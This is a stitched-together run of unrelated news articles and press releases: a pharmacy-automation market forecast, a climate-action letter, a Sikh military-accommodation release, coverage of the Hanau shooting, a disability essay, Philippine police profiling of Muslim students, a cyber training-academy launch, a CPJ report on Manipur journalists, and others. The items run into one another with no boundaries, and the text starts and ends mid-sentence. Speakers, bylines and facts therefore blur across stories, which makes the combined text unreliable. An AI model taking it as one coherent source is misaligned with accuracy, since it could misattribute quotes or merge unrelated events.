progressing at a CAGR of 8.2% during the forecast period. Increasing number of prescriptions, growing disease burden, and recent technological advancements are some of the key drivers for the market. Rising incidence of dispensing errors is boosting the need for high volume dispensing systems in order to enhance patient safety. Increasing adoption of pharmacy automation systems in retail pharmacies for dispensing large volume medications is one of the key factors fueling the demand for high volume dispensing systems. Surging demand for faster prescription processing and increasing government funding for installation of these systems in hospitals are also stoking the growth of the market. Moreover, soaring need for reduction in inventory discrepancies is further bolstering the demand for these systems. Rising number of retail and mail order pharmacies is resulting in high volume of medication inventory. This, in turn, is creating an upswing in the adoption rate of high volume dispensing systems. Growing concerns regarding patient safety and increasing investments in pharmacy automation systems are also propelling the market. In addition, increasing demand for reduction of pharmacist workload is further expected to augment the market over the forecast period. Further key findings from the report suggest: High volume dispensing cabinets emerged as the largest segment in terms of revenue in 2017 owing to increasing demand for efficient pharmacy workflow and rapid technological advancements High volume dispensing systems in retail pharmacies commanded the largest revenue share in 2017 owing to rising number of prescriptions and increasing demand for reduction of pharmacy workload In terms of geography, North America represented the leading revenue share in 2017. On the other hand, Asia Pacific is estimated to register the highest CAGR over the forecast period Omnicell, Inc.; McKesson Corporation; Innovation Associates; TCGRx; and ScriptPro, LLC are the major players operating in the market. Grand View Research has segmented the global high volume dispensing systems market on the basis of products, end use, and country: High Volume Dispensing Systems Products Outlook (Revenue, USD Million, 2014 - 2025) Systems/Cabinets Software Solutions High Volume Dispensing Systems End Use Outlook (Revenue, USD Million, 2014 - 2025) Independent pharmacies Hospital pharmacies High Volume Dispensing Systems Regional Outlook (Revenue, USD Million, 2014 - 2025) North America U.S. Canada Europe U.K. Germany Asia-Pacific China Japan Latin America Brazil Mexico Middle East Africa South Africa Access full research report on global high volume dispensing systems market: www.grandviewresearch.com/industry-analysis/high-volume-dispensing-systems-market A 64-year-old man died from hypothermia in a store parking lot (Pantagraph, Feb. 14, 2020). Michael T. Balicki was homeless and living in his car, and the extreme cold we experienced for just one night was enough to claim his life. Balickis tragic story will become commonplace if we do not create a plan to prevent the suffering and death that extreme temperatures can cause. It isnt just the homeless that are affected by polar vortexes and extreme heat waves. These weather events strain our power grids, emergency responders, and outdoor laborers, as well as compromise the health and comfort of our most vulnerable community members. And climate scientists warn us that we will experience them more often and for longer periods of time. After a heat wave in Chicago in 1995 resulted in the deaths of nearly 900 people many of them elderly government officials learned a lesson and instituted a climate action plan. The BloNo Climate Action Campaign is calling for our local government leaders to do the same by presenting a plan to both the Normal Town Council and the Bloomington City Council. As a local resident that cares about my community and the people in it, a future in which the safety of children, the homeless, and the elderly is expendable during extreme temperatures is unacceptable to me and preventable. The Climate Action Plan is reasonable, actionable, and will save lives. Lets do the responsible, smart, and loving thing and enact this plan. Elizabeth Kosuth, Bloomington Love 0 Funny 6 Wow 0 Sad 0 Angry 0 New York, Feb. 21, 2020 (GLOBE NEWSWIRE) -- Under the new guidelines that were finalized last week, Sikhs and Muslims can seek a religious accommodation to wear turbans, beards, unshorn hair and hijabs, and expect to be approved as long as their appearance is neat and conservative, except under extremely limited circumstances. While we are thankful for the policy allowing Sikhs to serve in the U.S. Airforce, it is our hope that all observant Sikh Americans are able to serve in every branch of the military without seeking accommodations. This is a great step forward, said Jasmit Singh, UNITED SIKHS Legal Advocacy Director. The Sikh Identity allows Sikhs to keep their articles of faith Kesh (uncut hair) with a turban, Kanga (a comb), Kara ( a steel bracelet), Kacheera (string drawers- underpants), Kirpan (sword). Sikhism was founded by Guru Nanak almost 551 years ago and number more than 30 million in the world. Close to a million Sikhs are estimated to be in the United States. The separate accounting of Sikhs in the U.S. census 2020 will be the foundation of a fair political representation since the population count serves as the basis for apportioning seats in the House of Representatives and drawing district boundaries to conform to the constitutional requisite of equal population. The census data will also be used for redistricting, state legislative seats and other elected positions including city councils, school boards, and some municipal offices where minorities will be accounted for and positioned. Manvinder Singh, Legal Director, UNITED SIKHS said, We cannot realize our nations promise of equal representation without being represented in the census. Allocating funds for dozens of federal grant programs, including grants for minority business and industry development loans, natural disaster recovery, education, public health services, and Medicaid and supplemental nutrition programs. This will also push forward as a step on behalf of the Sikhs to be able to serve in the armed forces without exceptions. We are proud of Airman 1st Class Gurchetan Singh who became the first Sikh American to receive an accommodation to serve in the Air National Guard. UNITED SIKHS and The American Civil Liberties Union, the ACLU of the Nations Capital, brought the lawsuit in November 2014 against the U.S Army. The ruling allowed Iknoor Singh to be able to enroll in the ROTC program with a religious accommodation this summer and compete for a contracted ROTC position (http://www.unitedsikhs.org/PressReleases/PRSRLS-15-06-15-01.html ). Im very grateful that the freedom of religion our country fought so hard for will allow me to pursue my dream career serving this country as a military intelligence officer without violating my faith, said Iknoor. As usual, UNITED SIKHS asks all Sikhs and others to practice their faith without any fear and apply to government positions at all levels. For any discrimination and other policy matters impacting your religious freedom, feel free to write to our legal team at law-usa@unitedsikhs.org. Through your donation, we sustain our fight for civil and human rights, provide humanitarian relief and empower those in need through education and personal development programs. To donate please visit http://unitedsikhs.org/donate Attachment HANAU, GERMANYHanau, a small city in western Germany, considered itself a melting pot, an island of tolerance. That was before a racist extremist opened fire at a hookah bar Wednesday night, killing nine mostly young people in Germanys worst attack in recent memory. A working-class community just outside Frankfurt, Hanau was ethnically diverse long before the issue of immigration began tearing apart German politics with the arrival of nearly one million asylum-seekers five years ago. We have lived very peacefully together, said Metin Kan, a 43-year-old of Turkish descent, who said he was a friend of one of the victims, the owner of the Midnight bar. The attack Wednesday did more than shock Germany. It drove home a fear that no part of the country is immune to the potential for violence that has been unleashed with the rise of a far right angered by Germanys changing society. The attack, authorities said, was carried out by a 43-year-old German who had posted a racist video and screed on the internet. He was later found dead from a gunshot, along with his mother, at his home, authorities said, without identifying them. His rampage took place in the heart of a region that prides itself on diversity and tolerance. The victims were not among the recent asylum-seekers in Germany from places like Syria who have so angered the far right. Rather, for the most part, they came from Turkish and Kurdish families that have lived in Germany for generations. People of foreign descent in Hanau, a city of 95,000, often object to being called immigrants. In many cases, they are German citizens, born in Germany. That was apparently the case for several of the victims, including one identified by relatives as Ferhat Unvar, 23, who had just finished training to be a heating system installer. Unvar, from a Kurdish family, had never visited his parents homeland, said Aydin Yilmaz, a cousin. Its important to say that, Yilmaz said. He was born in Hanau. Hes a German. It was an act of terror against us all. He had nothing against anyone, Yilmaz said. He just wanted to spend a nice evening with his friends. Yilmaz was among dozens of people who gathered Thursday afternoon at a Kurdish community centre, a simple building across from a Harley-Davidson dealership on the city outskirts. Pictures of the victims were tacked to the wall. People drank strong tea from paper cups and talked quietly. Unvars father was among them, looking gaunt with grief. Asked by a reporter if he wanted to speak about his son, the father nodded, but was unable. A woman standing next to him apologized, saying he was in shock. Waves of Gastarbeiter, or guest workers, were brought to Germany in the 1950s and 1960s because of labour shortages, many of them from Turkey. Among them, Yilmaz said, was Unvars grandfather, who worked on paving crews, helping to build the streets that the perpetrator walked on. Many people in western Germany have regarded right-wing sentiment as largely an eastern German phenomenon. When waves of Syrian refugees arrived in 2015, they were barely noticed in some western cities where there were already large minority communities. In the aftermath of the attack, some residents wondered if the right-wing sentiment that had gripped other regions had finally arrived here. But Hanau has apparently long harboured right-wing sympathizers. In the last city elections, the far-right, anti-immigration Republikaner party received almost 10% of the votes. That was even before the Alternative for Germany, or AfD, became the first far-right party to enter Parliament since World War II, in Germanys last national elections in 2018. The AfD, Kan said, theyre the ones who are profiting from this hate. German politicians scrambled Thursday to express sorrow and horror at the attack, and to tamp down fears in Germanys immigrant communities that they are endangered. Everything is being done to clarify the background of these horrible murders to the last detail, Chancellor Angela Merkel told reporters in Berlin, adding that the evidence indicated right-wing extremist, racist motives. Racism is a poison, she said. Hatred is a poison. Germany has some of the worlds strictest gun laws and last year moved to tighten them further, including requiring background checks, after a spike in shootings by right-wing extremists. German authorities did not officially identify the gunman, in keeping with the countrys strict privacy laws. But local authorities said he had a valid gun license. It was issued to Tobias Rathjen, said an official from Main-Kinzig, the district that includes Hanau, who declined to be named because he was not authorized to disclose the information. Terrorism experts and German media outlets identified the gunman as Tobias R., whose photos matched images of a man who posted a nearly two-minute screed on the YouTube page of a Tobias Rathjen, which has since been taken down. Speaking in accented English, he addressed Americans his reasons were unclear citing various conspiracy theories and urging them to Fight now. His actions mirrored those of a German gunman who left a racist diatribe online in English, then attempted to storm a synagogue in Halle on Yom Kippur last October. He shot and killed a passerby and a customer at a kebab shop. The profiles of all the attackers are uncannily similar, said Peter Neumann, a professor of security studies at Kings College London. All were socially isolated men who spent a lot of time online and had problems with women. They all cobbled their ideologies together in a do-it-yourself manifesto. The Hanau shootings add to an expanding number of far-right attacks in a political environment that has grown more combative with the AfDs rise. The number of far-right hate crimes surged from 2017 to 2018, to 1,664 from about 1,200, according to police statistics. The attacks including stabbings, beatings, threats and harassment targeted minorities and politicians who voiced support for refugees. More recent figures have not been released yet, but violence and threats have continued. In June, a conservative politician who supported refugees, Walter Lubcke, was fatally shot. A man with neo-Nazi ties and a history of attacking minorities confessed to the killing, which officials called Germanys first far-right political assassination since the Nazi era. Security forces then revealed that Lubcke was one of many people on a neo-Nazi hit list. The attack in Halle came less than four months later. And last week, authorities broke up a suspected far-right terrorist network that they said had been plotting to attack politicians, asylum-seekers and Muslims. Among the 12 men arrested was a police officer. In the past three decades, the German population has grown increasingly diverse, leading to bitter disputes over who qualifies as German and who is considered foreign. Roughly a quarter of Germanys nearly 82 million people are immigrants or their descendants. The conflict over the countrys cultural identity spilled into the streets in the eastern city of Chemnitz in August 2018, when Germans flashing Nazi salutes chased down people they thought looked like immigrants. The Hanau shootings have deepened the sense of insecurity among minority groups, leaving them frustrated at what they regard as a tepid government response to growing right-wing movements. We would like to see the government take more decisive action against right-wing extremism, said Mehmet Tanriverdi, vice chair of the Kurdish Community in Germany, who visited the shooting scene Thursday. A few minutes later, sirens and the rumble of police motorcycles announced a motorcade carrying Horst Seehofer, the German interior minister, one of numerous political leaders who swept through to offer condolences. As Seehofer spoke to reporters in front of the Midnight bar, a man in the crowd shouted, Its all just theatre! Earlier, state lawmakers held a moment of silence and cancelled their planned session. Flags on public buildings across the state were lowered to half-staff. The attack was one of the most bitter hours in our peacetime history, said Claus Kaminsky, Hanaus mayor, but we will do everything humanly possible to defend our shared solidarity. Citizens, too, were anxious to show that the vast majority remains tolerant, thronging to the citys market square carrying homemade signs. Across the street from the Midnight bar, people left flowers and lit candles. But Farak Demir, a friend of one victim, said he was also among those suddenly wondering whether respect and acceptance were as widespread as he had thought. We have no security, foreigners in Germany, he said. It happens again and again. Read more about: EDWARDSVILLE Main Street Community Center has welcomed a new member to its staff. Angela Fraley, who started in January, is a new program coordinator for the center. She comes to Main Street from Girl Scouts of Southern Illinois in Glen Carbon, where she was the fundraising coordinator. She replaces Amy Poos, who is now co-director of Glen-Ed Pantry. Ive always wanted to be in program coordination and my undergrad degree at SIUE was in health, so this is a great opportunity for me, said Fraley, a native of San Antonio, Texas, and a 2008 graduate of Belleville East High School. Amy, who was here before, helped me through the month of January. One of Fraleys primary duties is to coordinate the meal delivery program for qualified persons who receive home-delivered meals from the center. That includes making sure that all the delivery routes are running properly. If anyone needs to sign up for meals, I get them signed up, said Fraley, who did an undergraduate internship at the Madison County Office on Aging. Im also in charge of the commodity box program from the St. Louis Area Food Bank, where lower-income individuals can come and get a months worth of shelf-stable goods. We also coordinate that program at the May Building (in Edwardsville) and have food delivered there as well. We have more than 60 people as part of the program. Fraley, who is at the center from 9 a.m. to 1 p.m. Monday through Friday, is also planning some upcoming health fairs at Main Street, with the first one scheduled for April. Were happy to have Angela with us and she comes with a great background, Main Street Community Center director Sara Berkbigler said. She is helping us look at our health and nutrition programs and look for ways to improve. Angela handles all of our nutrition and health programs and (program coordinator/bookkeeper) Kim Hoesing handles our other programs. Joan Woody, who is the administrative assistant/volunteer coordinator for the community center, is currently on medical leave and should return in about a month. Carissa Hess, from the Junior Service Club of Edwardsville-Glen Carbon, is temporarily filling in for Woody. Most of the volunteers at MSCC are involved with the meal delivery program, but volunteers are essential to nearly everything the center does. We have a wonderful staff, but we cant do what we do without volunteers, Berkbigler said. All of our programs are volunteer-led, so when Angela does a health screening, many times it will be volunteers who are helping to register people or helping them to where they need to go to be screened. When we have health fairs in the May Building, the volunteers go there to set up tables and let people know about it and get them registered. They go to all of our events in the community and let people know what they can do here as clients, as well as opportunities here and opportunities for us to partner with other organizations. Main Street is still accepting grants for applications for half-price meals through the meal delivery program. The grant was provided by a $32,125 gift from 100+ Women Who Care from the 618 during the groups first quarterly impact meeting, held on July 25, 2019, at the Wildey Theatre in Edwardsville. The award has become the 100+ Women Who Support Seniors Grant, and it will provide financial assistance for qualified persons who receive home-delivered meals from Main Street Community Center. Three grants will be awarded this year. The current cost is $4 per meal and is billed at the end of each month. Grant recipients will be billed for 50 percent of the meal cost per day, which is $2. More than one person in the household can receive meals, but the maximum financial assistance amount per household is 50 percent of one persons meals. Grant applicants will meet with Fraley, who will get more information about them to complete the application. The grants are for one year and are renewable. There may be somebody who qualifies and is currently not getting meals at their home, Berkbigler said. The grants are for half of their meal cost, so for $2 a day, they can get home-delivered meals if theyre not able to cook for themselves. Its also a great way for a volunteer to check in on them. Its a wonderful program and we want to encourage people in the community to apply. For more information about the grants, call 618-656-0300 and ask for Fraley. Reach reporter Scott Marion at smarion@edwpub.net I dont understand what so-called normalcy is, if it really exists, and I dont care to try. What I wanted was to function again. This choice came with consequences. By the time these hallucinations ended in early October, I was taking so much medication that I stumbled as I walked, had hand tremors, and my word retrieval skills faltered at words like window. All these side effects are typical of the drugs I was taking. As this hallucinatory time wore on, ebbed, then mostly ended, I made a decision that, for me, was radical. I told people who wondered what had become of me just what had that I was bipolar, had psychotic episodes and had been hallucinating. I asked people who vanished why they did. In response I heard comments like I thought you would want privacy, as if psychosis equaled parading around naked. As if it necessitated shame. Sometimes, from those who vanished, I got a version of I was waiting for you to come back to yourself. I had a hard time explaining that Ive always been myself, maybe at this time even more myself than when I move through my day without too much auditory interruption. Lacking many reference points with the commonly held world, hallucinations are necessarily intensely you. I dont want to believe that my brain is on fire, and I take medication so it doesnt happen. Its frightening. I dont want trucks rumbling at me as I sleep. I want to live in a world thats quieter, that isnt always demanding my attention. None of that refutes the fact that I am still me in psychosis, and I know in some way my daily perceptions always hold those moments, those birds that speak. I cant divide myself into the ableist Sick Me and Healthy Me, or Sick Me and Real Me. Someone else can take up those metaphors. I dont want them. I also believe that hallucinations hold truth, though a hard truth to stay with for very long. I live the world as alive with a crackling energy, open and porous, full of meaning. I dont just have delusions when Im in that state; I re-experience. And the re-experiencing is not totally false. Air does move around us and hold us, walls are temporary, birds give voice. We just normally tune these realities out. Dorothea Buck was a German woman sterilized by the Nazis because she was given a diagnosis of schizophrenia. She became a lifelong psychiatric activist who argued for the need to accept psychosis as meaningful. Rather than a sick state cut out of the brain by medication, she wrote, its a personal experience meant to be understood, even and perhaps especially when treated. My hallucinations have ended and Im gradually returning to a lower level of medication. Im still unpacking for myself what this experience of mine meant, how it still moves in some way inside me. Its elusive. I do know I want to peel back this isolation and forced secrecy. I must if Im going to live honestly in the world. Its almost as disorienting as delusion, going from that crowded and noisy place of psychosis to this silence. Susanne Antonetta is the author of the forthcoming The Terrible Unlikelihood of Our Being Here and The Devils Castle, and the editor in chief of the Bellingham Review. Disability is a series of essays, art and opinion by and about people living with disabilities. Now in print: About Us: Essays From the Disability Series of The New York Times, edited by Peter Catapano and Rosemarie Garland-Thomson, published by Liveright. The Times is committed to publishing a diversity of letters to the editor. Wed like to hear what you think about this or any of our articles. Here are some tips. And heres our email: letters@nytimes.com. Follow The New York Times Opinion section on Facebook, Twitter (@NYTopinion) and Instagram. Metro Manila (CNN Philippines, February 21) The interim parliament of the Bangsamoro Autonomous Region in Muslim Mindanao passed a resolution Friday condemning the Philippine National Police's profiling of young Muslim students in Metro Manila. Manila Police District Chief Brigadier General Bernabe Balba signed a memorandum on January 31 ordering station commanders to submit an updated personal information of Muslim students in high school, colleges, and universities in Metro Manila. It said the information gathered will be used by the Salaam Police Center as "part of the strengthening of peace-building and counter violent extremism of the PNP." Members of the Bangsamoro Transition Authority criticized the discriminatory order. The insinuation that Muslim students are predisposed to violent extremism, and therefore must be treated differently and discriminated against, is nothing but prejudice disguising itself as law enforcement, he said. Amir Mawalil said, "Oppression has no place in our homes, our communities, and our country We will not allow this to happen, and we will not stand by to endure this injustice. Two Muslim members of the House of Representatives, Deputy Speaker Mujiv Hataman from the Lone District of Basilan and Anak Mindanao Rep. Amihilda Sangcopan, also condemned the police directive and questioned the motive in prying into the lives of Muslim children in Metro Manila. "Parang tinokhang ang reputasyon ng mga Pilipinong Muslim. Muslim children are being bullied, and those who ought to serve and protect them should not join in their abuse," Hataman said in a statement. Baseless stereotyping can end in lethal results," he added. Teacher's group Alliance of Concerned Teachers also slammed the profiling of students, saying targeting young Muslims "reek of the police's ignorance and Islamophobia." "It is deplorable that the PNP would want to target these young Muslim students to supposedly counter violent extremism, which is short of saying that Muslims are more likely to become extremists or terrorists," ACT National Chairperson Joselyn Martinez said in a statement on Friday. The group called on the Department of Education to issue a memorandum ordering a ban on the release of teachers and students' personal data to the PNP, which it deemed as a dangerous and illegal practice. Police denies, claims disinformation Metro Manila Police Chief PMGen Debold Sinas, who oversees the operations of MPD, denied they are profiling Muslim students. He said the Salaam Police Center has been tasked to monitor and coordinate activities with Muslim communities and other communities in addressing terrorism and lawless violence in their respective areas. According to the Zamboanga Peninsula police's website, the Salaam Police Center also serves as the coordinating body among PNP and armed forces units in the conduct of police operations against erring Muslims. PNP Chief Archie Gamboa supported the order, saying the public was misled by wrong information on the issue. I urge the public to be more circumspect in their interpretation of this noble PNP initiative and not be swayed by disinformation spun by those with ulterior motives. General Sinas and I are both from Mindanao, as well as a good number of our PNP generals. We know better in getting along with our Muslim brothers than those who are good only at uneducated speculation, he said in a statement. This is the second time this week that PNP has been accused of profiling minority groups. On February 17, two policemen were relieved from their posts following random profiling of transgender women. Police denied there is no so-called Oplan X-Men" operation, which allegedly aims to save transgender women for sexual exploitation. Cyber Chasse, a fast-growing Cyber security Solution provider in U.S has launched an online training platform Cyber Chasse Learning Academy to help professionals improve their technical skills and land in their dream job effortlessly. Cyber Chasse learning Academy aims at offering online courses in the most innovative and emerging technologies. To focus more on quality over quantity, they are offering limited courses. Anil Jayaprakash, Director of Cyber Chasse Academy said - Everything can be compromised except the quality, especially in education. The curriculum is designed in such a way that the core concepts are well understood by the professionals. The prime motive behind launching Cyber Chasse learning Academy is to help professionals build their skills in the booming technologies. All the courses are designed based on the job specifications to ensure that the students are job ready soon after the course completion. Some of the courses on cutting edge technologies includes - Splunk, DevOps, ETL, Python, SQL & PL-SQL, Hadoop & Spark, SOC, UI, CyberArk, Networking, Advanced Salesforce system administration, Penetration testing and more. The new training initiative uses instructor-led online classroom sessions to deliver self-paced adaptive training on cutting edge technologies. Ivin, CEO of Cyber Chasse Academy said, We are delighted to have a presence in the training industry that boasts vibrant talent pool. `The professionals receive the right content that is customized to their learning curve. We are excited to be part of this initiative. ## About Cyber Chasse Learning Academy Cyber Chasse Learning Academy focuses on enhancing the skills and knowledge of candidates with their experienced and professional trainers. The key objective is to bridge the knowledge gap by providing high quality training to the students as well as professionals. They offer online programs to give professionals the flexibility to learn from anywhere. They take pride in bringing the most revolutionary online technical training courses just to ensure that their students are ahead of the race. About Cyber Chasse Cyber Chasse is a cyber security firm located in Florida that provides wide range of cyber security services. They strive to keep on top of latest security trends and proactively suggest customized solutions to empower its clients IT infrastructure. For more information, go to https://cyberchasse.com/ Facebook - https://www.facebook.com/cyberchasse/ LinkedIn- https://www.linkedin.com/company/cyber-chasse-inc/ Twitter - https://twitter.com/cyber_chasse?lang=en Instagram - https://www.instagram.com/cyberchasse/ Why did the amphibians cross the road? To get to the other side and continue the propagation of their species. In an annual sign of spring, the Delaware Water Gap National Recreation Area announced Thursday that it will begin periodically closing River Road to allow sex-starved salamanders, frisky froggies and other aroused amphibians safe crossing to their breeding pools. The park spans 40 miles of the Delaware River between Pennsylvania and northwestern New Jersey. From now through about mid-April, River Road, running along the Delaware River in Pennsylvanias Monroe County, will be shut down between 4 p.m. and 6:30 a.m. on rainy, mild nights when the temperature is in the 50s. Thats when the tiny creatures are most likely to crawl or hop their way to their breeding grounds sometimes more than a quarter mile and would otherwise risk getting squished by car tires. Updates on River Road closings can be found on the parks Facebook page, on its website www.nps.gov/dewa or by calling 570-588-7237. A spotted salamander crosses River Road on a rainy spring night.Bryce Evans | Courtesy of the Delaware Water Gap National Recreation Area Steve Novak may be reached at snovak@lehighvalleylive.com. Follow him on Twitter @SteveNovakLVL and Facebook. Find lehighvalleylive.com on Facebook. South Africa: Release of forensic report into Enock Mpianzi death postponed Gauteng Education MEC Panyaza Lesufi has postponed the eminent release of the forensic report into the circumstances surrounding the death of Enock Mpianzi. The MEC had initially scheduled the release for Thursday. Mpianzi, a 13-year-old Grade 8 boy from Parktown Boys High School, allegedly drowned following a river rafting exercise during a school orientation camp in Brits, North West. Indeed, after a consultation with the Mpianzi family, we find it to be insensitive to release the report without their blessings. Subsequent to our meeting today [Thursday], we all agreed that the next session will be held on 27 February 2020, said the MEC. Lesufi said after consultation with Gauteng Premier David Makhura, his department decided to reschedule the release of the forensic report until processes have been concluded. We sincerely apologise to the Mpianzi family, the school community, media and society for the inconvenience this may have caused, he said. SAnews.gov.za This story has been published on: 2020-02-21. To contact the author, please use the contact details within the article. A former convict is headed back to prison after being sentenced for a second scam in which he stole the identifications of U.S. military members. Shope Oluwo, 35, received a six-year sentence in federal prison after stealing personal information from current or former members of the U.S. Army and then arranging for an associate to file tax returns on their behalf, the U.S. Attorneys Office for New Jersey said Friday. He also was ordered to pay $11,170 in restitution. The Fort Lee resident worked with Dermot Sutherland, 30, of Philadelphia, in January and February 2016 to create fake military identification cards and phony W-2 forms with the victims names on them. Oluwu gave the forms and cards to Sutherland, who posed as the military members and filed returns with a tax preparation company. The tax preparation company, which is not named in charging documents but has offices across the country, provided Sutherland with a debit card that contained the tax refund. Oluwu previously pleaded guilty to conspiracy to commit wire fraud, access device fraud, and aggravated identity theft. Sutherland received three years of probation when he was sentenced last year. One of the victims was a major in the United States Army who lived in the Leavenworth, Kansas area, according to court papers. In September 2016, Oluwo was sentenced in Missouri to two years in federal prison for using fake military identification cards to buy jewelry on credit. He showed identification which contained his picture but personal information of other enlisted servicemen to secure a $27,000 line of credit. Oluwu then made purchases at three jewelry stores in Chesterfield, Missouri on May, 25, 2014. Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook. Metro Manila (CNN Philippines, February 21) Staying true to its mission of expanding the audience for visual art, Art Fair Philippines has opened this year with three new sections to enhance art appreciation, and deepen exposure to art, especially among the younger generation. The fair runs on February 21 to 23. We realized that a lot are more than just enthusiasts. They want to experience the process of art making, Art Fair Philippines cofounder Trickie Lopa told CNN Philippines via phone call. Art Fair Philippines has opened three new sections, namely, Open Studios, Film, and Incubators. The Open Studios and Film sections will present workshops and demos. The Incubators section includes creative spaces outside the mainstream gallery format. Lopa said the mission of the fair that has been running for eight years now is to develop an audience for Philippine visual art. We did not have cultural events like this when we were young. We are thinking about the younger generation here, she added. Open Studios complements the Talks section. There is a two-day workshop on photography with Paco Guerrero. A workshop on lighting techniques for photographers will also be conducted with Neal Oshima and Mark Nicdao. There will be a demo on watercolor painting techniques with Claude Tayag, cyanotype workshop with Alexis Oshima and Angela Silva, rubber cutting workshop with Association of Pinoyprintmakers, and a sculptural planter-making workshop with Rita Gudino of Tahanan Pottery. The Film section is curated by Erwin Romulo, Philbert Dy, and Teddy Co. The section acknowledges that cinema is evolving like any art form. The section aims to celebrate the last 100 years of Philippine Cinema. The Incubators section welcomes the participation of incubator spaces where art is practiced in non-traditional venues, as explained by Lopa. Art Fair Philippines 2020 edition happens at The Link carpark in Makati City until Sunday, from 9 a.m. to 9 p.m. In 12 months, Sahel violence has displaced more than 700,000 in Burkina Faso, UN Refugee Agency, UNHCR reported. In Burkina Faso, the latest attacks by militants on civilians and local authorities have been forcing a daily average of more than 4,000 people to flee their homes and search for safety since January 1. So far, 765,000 people have already been displaced more than 700,000 in the last 12 months, the UN body said. An estimated 150,000 people have fled in the last three weeks alone, it said. The endless attacks carried out by terrorist groups in our region remind us not only of the gravity of the situation, but also the urgency for us to work more closely together, said Roch Marc Christian Kabore, the president of Burkina Faso last month. The West African nation has now become the epicenter of the security crisis that has its roots in neighboring Mali, where a conflict broke out in 2012. People fleeing the violence report attacks on their villages by militant groups, killing, raping, pillaging, according to the UNHCR. Alarmed by the dramatic rise of forced displacement in the Sahel, UNHCR reiterates its call for the protection of civilian populations and that fleeing violence. The UN agency said it is already scaling up its response to the crisis, providing protection, emergency supplies for those forced to flee and communities hosting them, with an additional focus on shelter, education, sexual and gender-based violence. She is often on the front row at the biggest events in the fashion calendar. And Olivia Palermo showcased her fashion credentials as she put on a stylish display while leaving her hotel amid Milan Fashion Week on Friday. The American fashion influencer, 33, was effortlessly chic in a tan leather caped jacket paired with a quirky pair of striped jeans. Stunning: Olivia Palermo showcased her fashion credentials as she put on a stylish display while leaving her hotel amid Milan Fashion Week on Friday Olivia flashed a broad smile as she wrapped up warm in her double-breasted brown outerwear. Further jazzing up her outfit, the star added a pair of silver mules and carried her essential in a colour block handbag. Finishing her look, she styled her brunette tresses in top a sleek centre-parting while she accentuated her features with a subtle palette of make-up. The star appeared in good spirits as she joined the star-studded crowd flooding to the Italian city for fashion week. Showstopping look: The American fashion influencer, 33, was effortlessly chic in a tan leather caped jacket paired with a quirky pair of striped jeans Finishing touches: Further jazzing up her outfit, the star added a pair of silver mules and carried her essential in a colour block handbag Olivia shot to fame when she appeared in MTV's The Hills spin-off, The City, which documented Whitney Port's move to New York to work for Diane von Furstenberg in 2008. The socialite appeared in both seasons of the reality show, as Whitney's workplace friend and later rival. Since featuring on the series, Olivia has become one of the most established front-row regulars on the fashion circuit, attending the world's most prestigious events. Olivia and Johannes met through mutual friends 12 years ago, before tying the knot in 2014 in a low-key ceremony in Bedford, upstate New York. Back in June they celebrated their fifth wedding anniversary. Discussing the secret to the couple's happy marriage, Olivia previously told Harper's Bazaar Australia: 'We try not to ever be separated more than seven days. Its just something we have always done.' Share this: Twitter Facebook WhatsApp LinkedIn Email Telegram On the morning of February 1, instead of working on her usual assignments for the Imphal Free Press, journalist Babie Shirin drove with the newspapers publisher Mayengbam Satyajit Singh to a court on the other side of town. On arrival, they were arrested, then granted bail on a bond of 30,000 rupees (US$420) each. Their crime was to document the local chief ministers ranking in a nationwide TV poll. In Other Languages The IFP, as the privately-owned, English-language daily refers to itself, operates in Imphal, the capital of Manipur, a small state on Indias northeast border with Myanmar. In 2018, the local government filed a criminal defamation case against the publication for reporting on the popularity of the states Chief Minister Nongthombam Biren Singh, as CPJ has documented and local media reported at the time. The Manipur High Court recently moved that case forward, Paojel Chaoba, a senior editor with the newspaper told CPJ by phone. His two colleagues were required to surrender at a lower court and get bail, he said, along with Pradeep Phanjoubam, a former IFP editor also named in the complaint. Hearings were ongoing in mid-February, Chaoba said. CPJ interviewed Biren Singh about the case on a trip to Imphal in September 2019. CPJ also spoke with nearly a dozen senior journalists and editors, but almost none of them were willing to speak on record. Many shared privately that they were careful about criticizing the government to avoid criminal charges. Their concerns are shared beyond the state: CPJ has documented how defamation cases filed against journalists and media outlets have been used as a form of harassment and intimidation across India. Manipur has faced a separatist movement since its integration into India, with the height of the armed conflict lasting nearly a decade before a ceasefire in 2018. Caught between underground separatist groups and the government, journalists were pressured and attacked; in 2013, newspapers stopped publication for four days to protest pressure from militant groups. Journalists told CPJ that the security situation has improved since the ceasefire, and the pressures they used to face have eased. Recently, however, two Manipuri journalists have run into legal trouble in relation to political commentary published in a private capacity on social media. Kishore Chandra Wangkhem, a local TV reporter, spent 134 days in prison on sedition charges after sharing his opinion of the Bharatiya Janata Party (BJP) state government on social media, according to Outlook magazine, which documented his release in April 2019. In December, video blogger RK Echanthoibi was arrested for criticizing the government and the chief minister, according to news website Scroll.in. Echanthoibi was released on bail but the defamation investigation involving her comments is ongoing, she told CPJ by phone in February. CPJ requested comment on the charges against Wangkhem and Echanthoibi from Biren Singhs media advisor and secretary, but did not receive a response before publication. One editor of a newspaper in Manipur, who asked not to be named for fear of retribution, told CPJ that his newspaper shied away from government criticism to avoid controversy. The local BJP government was ultra-sensitive, he said. [Imphal] Free Press has been very bold, he told CPJ. We havent done that. Acting on directions from the secretary to the chief minister, the Manipur state department of home affairs instructed the public prosecutor to file the defamation case against the IFP journalists on October 27, 2018, according to an order that CPJ has reviewed. The order accused them of publishing with an intent to create enmity, hatred or ill will between different classes against the chief minister. Defamation carries up to two years imprisonment and possible fines under the Indian Penal Code. The IFP article in question analyzed the reported results of a nationwide survey conducted by India Today TV, a New Delhi-based private news channel, to identify Indias best performing chief minister. I couldnt believe the [chief minister] would come after me over such a silly matter, Shirin told CPJ by phone. The 27-year-old journalist, who had been with IFP for less than a year at the time, said the case came as a shock. Initially I was really nervous. I couldnt concentrate on my work, she said. In a meeting with CPJ in September 2019, Chief Minister Biren Singh accused the newspaper of maligning his reputation by deliberately misinterpreting the survey results. Criticism is okay, but decency should be there, he said in his office. Theyre making a mockery, how can I allow that? Biren Singh is the former editor of a Manipuri-language daily called Naharolgi Thoudang. In April 2000, he was himself arrested for publishing comments by a local human rights activist that criticized the government. He spent 20 days in jail on sedition charges, which were ultimately quashed, according to news reports and human rights groups. Two years later, he joined electoral politics, and was eventually elected to do the top job in the state. Manipur Chief Minister Nongthombam Biren Singh is pictured sitting second from the left, in September 2019, as the Manipur Press Club celebrates its founding. (CPJ/Aliya Iftikhar) As a former journalist, Biren Singh has strong relationships throughout the media community. While CPJ was in Manipur, Biren Singh gave a speech at the All Manipur 